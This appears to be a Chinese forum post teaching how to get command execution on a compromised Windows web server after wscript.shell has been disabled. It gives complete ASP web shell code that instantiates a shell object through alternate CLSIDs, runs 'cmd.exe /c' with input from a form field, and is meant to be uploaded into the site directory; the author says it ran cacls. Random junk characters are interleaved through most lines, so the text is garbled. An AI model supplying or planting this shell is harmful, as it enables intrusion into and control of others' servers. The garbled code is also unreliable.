可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
' l4 D: S' d7 P; ]# S* j6 R/ w一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。9 W1 i; w# C9 p8 C$ G H" f- S# i
要想让运行命令可以试试这种方法,成功率为五五之数。) `2 b- Z9 T# B: l- R
把下面代码复制:
' S8 ^0 ?8 w7 y7 n1 D0 K<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>' @- ]# B3 T6 G9 f H4 W' n
<%if err then%>
: a" D; ~9 U t. X% T; V4 d. n<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>7 B7 u: P1 v& _+ q" k' E
<%
- m$ j; y* o0 J! Hend if! A$ @8 H( z" E/ p' w' x
response.write("<textarea readonly cols=80 rows=20>")
# D8 y3 u6 [ w) qOn Error Resume Next
8 X& X7 Z0 r+ sresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall- A1 {& Q* z# [* f4 |% x$ P3 H
response.write("</textarea>")5 [( o5 x/ I, b" [- }: T0 @( ]
response.write("<form method='post'>")
: ^5 J$ S* T2 V0 Hresponse.write("<input type=text name='c' size=60><br>")1 a8 W+ M: Z5 y$ V' M! V! L
response.write("<input type=submit value='执行'></form>")6 Z. d- ]9 H+ J% o! P7 v/ U$ Q+ N
%>, Q+ W& f9 y* D6 g
7 G; D8 ]: H% d j" L3 _1 i1 z
保存为一个asp文件,然后传到网站目录上去( n4 D/ v- ^2 d' s* m4 k7 ]3 b
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
$ b/ }4 J& g7 `0 U我用此成功运行过cacls命令。: P( T- L% u, p! x" `# F! U
% ]) o% [$ S& D* p; W+ [0 h
第二那就是运行时出错,可能限制某些代码执行 |